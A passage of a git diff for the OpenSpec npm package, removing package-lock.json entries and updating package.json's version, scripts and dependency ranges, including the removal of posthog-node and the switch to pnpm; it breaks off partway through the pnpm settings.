"sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/siginfo": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", - "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", - "dev": true, - "license": "ISC" - }, - "node_modules/signal-exit": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", - "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", - "license": "ISC", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/sirv": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/sirv/-/sirv-3.0.2.tgz", - "integrity": "sha512-2wcC/oGxHis/BoHkkPwldgiPSYcpZK3JU28WoMVv55yHJgcZ8rlXvuG9iZggz+sU1d4bRgIGASwyWqjxu3FM0g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@polka/url": "^1.0.0-next.24", - "mrmime": "^2.0.0", - "totalist": "^3.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/slash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", - "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/source-map-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - "dev": true, - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/spawndamnit": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/spawndamnit/-/spawndamnit-3.0.1.tgz", - "integrity": "sha512-MmnduQUuHCoFckZoWnXsTg7JaiLBJrKFj9UI2MbRPGaJeVpsLcVBu6P/IGZovziM/YBsellCmsprgNA+w0CzVg==", - "dev": true, - "license": "SEE LICENSE IN LICENSE", - "dependencies": { - "cross-spawn": "^7.0.5", - "signal-exit": "^4.0.1" - } - }, - "node_modules/sprintf-js": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", - "dev": true, - "license": "BSD-3-Clause" - }, - "node_modules/stackback": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", - "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", - "dev": true, - "license": "MIT" - }, - "node_modules/std-env": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", - "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", - "dev": true, - "license": "MIT" - }, - "node_modules/stdin-discarder": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/stdin-discarder/-/stdin-discarder-0.2.2.tgz", - "integrity": "sha512-UhDfHmA92YAlNnCfhmq0VeNL5bDbiZGg7sZ2IvPsXubGkiNa9EC+tUTsjBRsYUAz87btI6/1wf4XoVvQ3uRnmQ==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/string-width": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", - "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", - "license": "MIT", - "dependencies": { - "emoji-regex": "^10.3.0", - "get-east-asian-width": "^1.0.0", - "strip-ansi": "^7.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/string-width/node_modules/ansi-regex": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", - "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/ansi-regex?sponsor=1" - } - }, - "node_modules/string-width/node_modules/strip-ansi": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", - "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", - "license": "MIT", - "dependencies": { - "ansi-regex": "^6.0.1" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/strip-ansi?sponsor=1" - } - }, - "node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/strip-bom": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", - "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/strip-json-comments": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/strip-literal": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/strip-literal/-/strip-literal-3.1.0.tgz", - "integrity": "sha512-8r3mkIM/2+PpjHoOtiAW8Rg3jJLHaV7xPwG+YRGrv6FP0wwk/toTpATxWYOW0BKdWwl82VT2tFYi5DlROa0Mxg==", - "dev": true, - "license": "MIT", - "dependencies": { - "js-tokens": "^9.0.1" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "license": "MIT", - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/term-size": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/term-size/-/term-size-2.2.1.tgz", - "integrity": "sha512-wK0Ri4fOGjv/XPy8SBHZChl8CM7uMc5VML7SqiQ0zG7+J5Vr+RMQDoHa2CNT6KHUnTGIXH34UDMkPzAUyapBZg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/tinybench": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", - "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", - "dev": true, - "license": "MIT" - }, - "node_modules/tinyexec": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-0.3.2.tgz", - "integrity": "sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==", - "dev": true, - "license": "MIT" - }, - "node_modules/tinyglobby": { - "version": "0.2.15", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", - "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "fdir": "^6.5.0", - "picomatch": "^4.0.3" - }, - "engines": { - "node": ">=12.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/SuperchupuDev" - } - }, - "node_modules/tinyglobby/node_modules/fdir": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12.0.0" - }, - "peerDependencies": { - "picomatch": "^3 || ^4" - }, - "peerDependenciesMeta": { - "picomatch": { - "optional": true - } - } - }, - "node_modules/tinyglobby/node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - "dev": true, - "license": "MIT", - "peer": true, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/tinypool": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/tinypool/-/tinypool-1.1.1.tgz", - "integrity": "sha512-Zba82s87IFq9A9XmjiX5uZA/ARWDrB03OHlq+Vw1fSdt0I+4/Kutwy8BP4Y/y/aORMo61FQ0vIb5j44vSo5Pkg==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.0.0 || >=20.0.0" - } - }, - "node_modules/tinyrainbow": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-2.0.0.tgz", - "integrity": "sha512-op4nsTR47R6p0vMUUoYl/a+ljLFVtlfaXkLQmqfLR1qHma1h/ysYk4hEXZ880bf2CYgTskvTa/e196Vd5dDQXw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/tinyspy": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/tinyspy/-/tinyspy-4.0.4.tgz", - "integrity": "sha512-azl+t0z7pw/z958Gy9svOTuzqIk6xq+NSheJzn5MMWtWTFywIacg2wUlzKFGtt3cthx0r2SxMK0yzJOR0IES7Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "license": "MIT", - "dependencies": { - "is-number": "^7.0.0" - }, - "engines": { - "node": ">=8.0" - } - }, - "node_modules/totalist": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/totalist/-/totalist-3.0.1.tgz", - "integrity": "sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/tr46": { - "version": "0.0.3", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", - "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==", - "dev": true, - "license": "MIT" - }, - "node_modules/ts-api-utils": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.4.0.tgz", - "integrity": "sha512-3TaVTaAv2gTiMB35i3FiGJaRfwb3Pyn/j3m/bfAvGe8FB7CF6u+LMYqYlDh7reQf7UNvoTvdfAqHGmPGOSsPmA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18.12" - }, - "peerDependencies": { - "typescript": ">=4.8.4" - } - }, - "node_modules/type-check": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", - "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/typescript": { - "version": "5.9.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - "dev": true, - "license": "Apache-2.0", - "peer": true, - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/typescript-eslint": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.56.0.tgz", - "integrity": "sha512-c7toRLrotJ9oixgdW7liukZpsnq5CZ7PuKztubGYlNppuTqhIoWfhgHo/7EU0v06gS2l/x0i2NEFK1qMIf0rIg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/eslint-plugin": "8.56.0", - "@typescript-eslint/parser": "8.56.0", - "@typescript-eslint/typescript-estree": "8.56.0", - "@typescript-eslint/utils": "8.56.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/undici-types": { - "version": "7.16.0", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz", - "integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/universalify": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", - "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4.0.0" - } - }, - "node_modules/uri-js": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", - "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "punycode": "^2.1.0" - } - }, - "node_modules/vite": { - "version": "7.3.1", - "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.1.tgz", - "integrity": "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "esbuild": "^0.27.0", - "fdir": "^6.5.0", - "picomatch": "^4.0.3", - "postcss": "^8.5.6", - "rollup": "^4.43.0", - "tinyglobby": "^0.2.15" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^20.19.0 || >=22.12.0", - "jiti": ">=1.21.0", - "less": "^4.0.0", - "lightningcss": "^1.21.0", - "sass": "^1.70.0", - "sass-embedded": "^1.70.0", - "stylus": ">=0.54.8", - "sugarss": "^5.0.0", - "terser": "^5.16.0", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "jiti": { - "optional": true - }, - "less": { - "optional": true - }, - "lightningcss": { - "optional": true - }, - "sass": { - "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/vite-node": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/vite-node/-/vite-node-3.2.4.tgz", - "integrity": "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg==", - "dev": true, - "license": "MIT", - "dependencies": { - "cac": "^6.7.14", - "debug": "^4.4.1", - "es-module-lexer": "^1.7.0", - "pathe": "^2.0.3", - "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" - }, - "bin": { - "vite-node": "vite-node.mjs" - }, - "engines": { - "node": "^18.0.0 || ^20.0.0 || >=22.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/vite/node_modules/fdir": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12.0.0" - }, - "peerDependencies": { - "picomatch": "^3 || ^4" - }, - "peerDependenciesMeta": { - "picomatch": { - "optional": true - } - } - }, - "node_modules/vite/node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - "dev": true, - "license": "MIT", - "peer": true, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/vitest": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/vitest/-/vitest-3.2.4.tgz", - "integrity": "sha512-LUCP5ev3GURDysTWiP47wRRUpLKMOfPh+yKTx3kVIEiu5KOMeqzpnYNsKyOoVrULivR8tLcks4+lga33Whn90A==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "@types/chai": "^5.2.2", - "@vitest/expect": "3.2.4", - "@vitest/mocker": "3.2.4", - "@vitest/pretty-format": "^3.2.4", - "@vitest/runner": "3.2.4", - "@vitest/snapshot": "3.2.4", - "@vitest/spy": "3.2.4", - "@vitest/utils": "3.2.4", - "chai": "^5.2.0", - "debug": "^4.4.1", - "expect-type": "^1.2.1", - "magic-string": "^0.30.17", - "pathe": "^2.0.3", - "picomatch": "^4.0.2", - "std-env": "^3.9.0", - "tinybench": "^2.9.0", - "tinyexec": "^0.3.2", - "tinyglobby": "^0.2.14", - "tinypool": "^1.1.1", - "tinyrainbow": "^2.0.0", - "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0", - "vite-node": "3.2.4", - "why-is-node-running": "^2.3.0" - }, - "bin": { - "vitest": "vitest.mjs" - }, - "engines": { - "node": "^18.0.0 || ^20.0.0 || >=22.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "@edge-runtime/vm": "*", - "@types/debug": "^4.1.12", - "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", - "@vitest/browser": "3.2.4", - "@vitest/ui": "3.2.4", - "happy-dom": "*", - "jsdom": "*" - }, - "peerDependenciesMeta": { - "@edge-runtime/vm": { - "optional": true - }, - "@types/debug": { - "optional": true - }, - "@types/node": { - "optional": true - }, - "@vitest/browser": { - "optional": true - }, - "@vitest/ui": { - "optional": true - }, - "happy-dom": { - "optional": true - }, - "jsdom": { - "optional": true - } - } - }, - "node_modules/vitest/node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/webidl-conversions": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", - "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==", - "dev": true, - "license": "BSD-2-Clause" - }, - "node_modules/whatwg-url": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", - "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", - "dev": true, - "license": "MIT", - "dependencies": { - "tr46": "~0.0.3", - "webidl-conversions": "^3.0.0" - } - }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/why-is-node-running": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", - "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", - "dev": true, - "license": "MIT", - "dependencies": { - "siginfo": "^2.0.0", - "stackback": "0.0.2" - }, - "bin": { - "why-is-node-running": "cli.js" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/word-wrap": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", - "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/wrap-ansi": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", - "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/wrap-ansi/node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "license": "MIT" - }, - "node_modules/wrap-ansi/node_modules/string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "license": "MIT", - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/yaml": { - "version": "2.8.2", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.2.tgz", - "integrity": "sha512-mplynKqc1C2hTVYxd0PU2xQAc22TI1vShAYGksCCfxbn/dFwnHTNi1bvYsBTkhdUNtGIf5xNOg938rrSSYvS9A==", - "license": "ISC", - "peer": true, - "bin": { - "yaml": "bin.mjs" - }, - "engines": { - "node": ">= 14.6" - }, - "funding": { - "url": "https://github.com/sponsors/eemeli" - } - }, - "node_modules/yocto-queue": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/yoctocolors-cjs": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/yoctocolors-cjs/-/yoctocolors-cjs-2.1.3.tgz", - "integrity": "sha512-U/PBtDf35ff0D8X8D0jfdzHYEPFxAI7jJlxZXwCSez5M3190m+QobIfh+sWDWSHMCWWJN2AWamkegn6vr6YBTw==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/zod": { - "version": "4.3.6", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.3.6.tgz", - "integrity": "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - } - } -} diff --git a/package.json b/package.json index 7e0159fe73..5e7db1299d 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@fission-ai/openspec", - "version": "1.3.1", + "version": "1.8.0", "description": "AI-native system for spec-driven development", "keywords": [ "openspec", @@ -17,6 +17,7 @@ "license": "MIT", "author": "OpenSpec Contributors", "type": "module", + "packageManager": "pnpm@9.15.9", "publishConfig": { "access": "public" }, @@ -41,6 +42,8 @@ "scripts": { "lint": "eslint src/", "build": "node build.js", + "generate:skills": "node scripts/generate-skillssh.mjs", + "regen:parity-hashes": "node scripts/regen-parity-hashes.mjs", "dev": "tsc --watch", "dev:cli": "pnpm build && node bin/openspec.js", "test": "vitest run", @@ -60,24 +63,34 @@ "node": ">=20.19.0" }, "devDependencies": { - "@changesets/changelog-github": "^0.5.2", - "@changesets/cli": "^2.27.7", - "@types/node": "^24.2.0", - "@vitest/ui": "^3.2.4", - "eslint": "^9.39.2", - "typescript": "^5.9.3", - "typescript-eslint": "^8.50.1", - "vitest": "^3.2.4" + "@changesets/changelog-github": "^0.7.0", + "@changesets/cli": "^2.31.1", + "@types/node": "^20.19.43", + "@vitest/ui": "^3.2.6", + "eslint": "^10.5.0", + "smol-toml": "^1.7.1", + "typescript": "^6.0.3", + "typescript-eslint": "^8.65.0", + "vitest": "^3.2.6" }, "dependencies": { - "@inquirer/core": "^10.2.2", - "@inquirer/prompts": "^7.8.0", - "chalk": "^5.5.0", + "@inquirer/core": "^10.3.2", + "@inquirer/prompts": "^7.10.1", + "chalk": "^5.6.2", "commander": "^14.0.0", + "cross-spawn": "7.0.6", "fast-glob": "^3.3.3", - "ora": "^8.2.0", - "posthog-node": "^5.20.0", - "yaml": "^2.8.2", - "zod": "^4.0.17" + "ora": "^9.4.1", + "yaml": "^2.8.3", + "zod": "^4.4.3" + }, + "pnpm": { + "onlyBuiltDependencies": [ + 